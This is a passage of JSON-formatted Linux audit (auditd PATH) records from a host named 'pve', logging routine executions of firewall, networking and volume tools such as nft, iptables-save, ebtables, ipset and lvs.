cap_frootid=0"} {"@timestamp":1781965126877,"@rawstring":"node=pve type=PATH msg=audit(1781965126.877:64291): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126877,"@rawstring":"node=pve type=PATH msg=audit(1781965126.877:64290): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125710,"@rawstring":"node=pve type=PATH msg=audit(1781965125.710:64289): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125710,"@rawstring":"node=pve type=PATH msg=audit(1781965125.710:64289): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125701,"@rawstring":"node=pve type=PATH msg=audit(1781965125.701:64288): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125701,"@rawstring":"node=pve type=PATH msg=audit(1781965125.701:64288): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125699,"@rawstring":"node=pve type=PATH msg=audit(1781965125.699:64287): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125699,"@rawstring":"node=pve type=PATH msg=audit(1781965125.699:64287): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125699,"@rawstring":"node=pve type=PATH msg=audit(1781965125.699:64286): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125692,"@rawstring":"node=pve type=PATH msg=audit(1781965125.692:64285): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125692,"@rawstring":"node=pve type=PATH msg=audit(1781965125.692:64285): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125692,"@rawstring":"node=pve type=PATH msg=audit(1781965125.692:64285): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125681,"@rawstring":"node=pve type=PATH msg=audit(1781965125.681:64284): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125681,"@rawstring":"node=pve type=PATH msg=audit(1781965125.681:64284): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125668,"@rawstring":"node=pve type=PATH msg=audit(1781965125.668:64283): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125668,"@rawstring":"node=pve type=PATH msg=audit(1781965125.668:64283): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125656,"@rawstring":"node=pve type=PATH msg=audit(1781965125.656:64282): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125656,"@rawstring":"node=pve type=PATH msg=audit(1781965125.656:64282): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125641,"@rawstring":"node=pve type=PATH msg=audit(1781965125.641:64281): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125641,"@rawstring":"node=pve type=PATH msg=audit(1781965125.641:64281): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125633,"@rawstring":"node=pve type=PATH msg=audit(1781965125.633:64279): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125633,"@rawstring":"node=pve type=PATH msg=audit(1781965125.633:64279): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125627,"@rawstring":"node=pve type=PATH msg=audit(1781965125.627:64278): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125627,"@rawstring":"node=pve type=PATH msg=audit(1781965125.627:64278): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125621,"@rawstring":"node=pve type=PATH msg=audit(1781965125.621:64277): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125621,"@rawstring":"node=pve type=PATH msg=audit(1781965125.621:64277): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125611,"@rawstring":"node=pve type=PATH msg=audit(1781965125.611:64276): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125611,"@rawstring":"node=pve type=PATH msg=audit(1781965125.611:64276): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125601,"@rawstring":"node=pve type=PATH msg=audit(1781965125.601:64275): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125601,"@rawstring":"node=pve type=PATH msg=audit(1781965125.601:64275): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125587,"@rawstring":"node=pve type=PATH msg=audit(1781965125.587:64274): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125587,"@rawstring":"node=pve type=PATH msg=audit(1781965125.587:64274): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125572,"@rawstring":"node=pve type=PATH msg=audit(1781965125.572:64273): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125572,"@rawstring":"node=pve type=PATH msg=audit(1781965125.572:64273): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125559,"@rawstring":"node=pve type=PATH msg=audit(1781965125.559:64272): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125559,"@rawstring":"node=pve type=PATH msg=audit(1781965125.559:64272): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125552,"@rawstring":"node=pve type=PATH msg=audit(1781965125.552:64271): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125552,"@rawstring":"node=pve type=PATH msg=audit(1781965125.552:64271): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125543,"@rawstring":"node=pve type=PATH msg=audit(1781965125.543:64270): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125543,"@rawstring":"node=pve type=PATH msg=audit(1781965125.543:64270): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125540,"@rawstring":"node=pve type=PATH msg=audit(1781965125.540:64269): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125540,"@rawstring":"node=pve type=PATH msg=audit(1781965125.540:64269): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125540,"@rawstring":"node=pve type=PATH msg=audit(1781965125.540:64268): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125530,"@rawstring":"node=pve type=PATH msg=audit(1781965125.530:64267): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125530,"@rawstring":"node=pve type=PATH msg=audit(1781965125.530:64267): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125530,"@rawstring":"node=pve type=PATH msg=audit(1781965125.530:64267): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125506,"@rawstring":"node=pve type=PATH msg=audit(1781965125.506:64266): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125506,"@rawstring":"node=pve type=PATH msg=audit(1781965125.506:64266): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125493,"@rawstring":"node=pve type=PATH msg=audit(1781965125.493:64265): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125493,"@rawstring":"node=pve type=PATH msg=audit(1781965125.493:64265): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125485,"@rawstring":"node=pve type=PATH msg=audit(1781965125.485:64264): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125485,"@rawstring":"node=pve type=PATH msg=audit(1781965125.485:64264): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125471,"@rawstring":"node=pve type=PATH msg=audit(1781965125.471:64263): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125471,"@rawstring":"node=pve type=PATH msg=audit(1781965125.471:64263): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125460,"@rawstring":"node=pve type=PATH msg=audit(1781965125.460:64262): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125460,"@rawstring":"node=pve type=PATH msg=audit(1781965125.460:64262): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965124754,"@rawstring":"node=pve type=PATH msg=audit(1781965124.754:64261): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965124754,"@rawstring":"node=pve type=PATH msg=audit(1781965124.754:64261): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965124720,"@rawstring":"node=pve type=PATH msg=audit(1781965124.720:64260): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965124720,"@rawstring":"node=pve type=PATH msg=audit(1781965124.720:64260): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121863,"@rawstring":"node=pve type=PATH msg=audit(1781965121.863:64259): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121863,"@rawstring":"node=pve type=PATH msg=audit(1781965121.863:64259): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121863,"@rawstring":"node=pve type=PATH msg=audit(1781965121.863:64258): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121863,"@rawstring":"node=pve type=PATH msg=audit(1781965121.863:64257): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121855,"@rawstring":"node=pve type=PATH msg=audit(1781965121.855:64256): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121855,"@rawstring":"node=pve type=PATH msg=audit(1781965121.855:64256): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121855,"@rawstring":"node=pve type=PATH msg=audit(1781965121.855:64255): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121855,"@rawstring":"node=pve type=PATH msg=audit(1781965121.855:64254): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965120186,"@rawstring":"node=pve type=PATH msg=audit(1781965120.186:64253): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965120186,"@rawstring":"node=pve type=PATH msg=audit(1781965120.186:64253): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965120186,"@rawstring":"node=pve type=PATH msg=audit(1781965120.186:64252): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965120186,"@rawstring":"node=pve type=PATH msg=audit(1781965120.186:64252): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965120184,"@rawstring":"node=pve type=PATH msg=audit(1781965120.184:64251): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965120184,"@rawstring":"node=pve type=PATH msg=audit(1781965120.184:64251): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116842,"@rawstring":"node=pve type=PATH msg=audit(1781965116.842:64250): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116842,"@rawstring":"node=pve type=PATH msg=audit(1781965116.842:64250): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116842,"@rawstring":"node=pve type=PATH msg=audit(1781965116.842:64249): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116842,"@rawstring":"node=pve type=PATH msg=audit(1781965116.842:64248): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116832,"@rawstring":"node=pve type=PATH msg=audit(1781965116.832:64247): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116832,"@rawstring":"node=pve type=PATH msg=audit(1781965116.832:64247): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116832,"@rawstring":"node=pve type=PATH msg=audit(1781965116.832:64246): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116832,"@rawstring":"node=pve type=PATH msg=audit(1781965116.832:64245): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115445,"@rawstring":"node=pve type=PATH msg=audit(1781965115.445:64244): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115445,"@rawstring":"node=pve type=PATH msg=audit(1781965115.445:64244): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=PATH msg=audit(1781965115.441:64243): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=PATH msg=audit(1781965115.441:64243): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=PATH msg=audit(1781965115.441:64242): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=PATH msg=audit(1781965115.441:64242): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=PATH msg=audit(1781965115.441:64241): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115436,"@rawstring":"node=pve type=PATH msg=audit(1781965115.436:64240): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115436,"@rawstring":"node=pve type=PATH msg=audit(1781965115.436:64240): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115436,"@rawstring":"node=pve type=PATH msg=audit(1781965115.436:64240): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115429,"@rawstring":"node=pve type=PATH msg=audit(1781965115.429:64239): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115429,"@rawstring":"node=pve type=PATH msg=audit(1781965115.429:64239): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115421,"@rawstring":"node=pve type=PATH msg=audit(1781965115.421:64238): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115421,"@rawstring":"node=pve type=PATH 